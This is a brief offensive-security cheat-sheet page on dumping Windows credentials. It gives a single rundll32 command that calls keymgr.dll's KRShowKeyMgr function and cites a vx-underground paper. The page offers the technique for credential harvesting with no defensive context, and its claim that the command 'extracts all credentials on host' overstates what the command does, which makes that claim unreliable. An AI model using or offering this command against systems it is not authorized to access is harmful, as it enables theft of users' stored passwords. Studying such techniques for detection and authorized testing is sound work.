# Dumping Credentials via keymgr.dll

The keymgr.dll extracts all credentials on host.

### Dump <a href="#dump" id="dump"></a>

```
rundll32 keymgr.dll, KRShowKeyMgr
```

### References <a href="#references" id="references"></a>

* [Vx Underground](https://samples.vx-underground.org/Papers/Windows/Data%20Theft/2022-04-19%20-%20Dumping%20passwords%20using%20KRShowKeyMgr.PNG)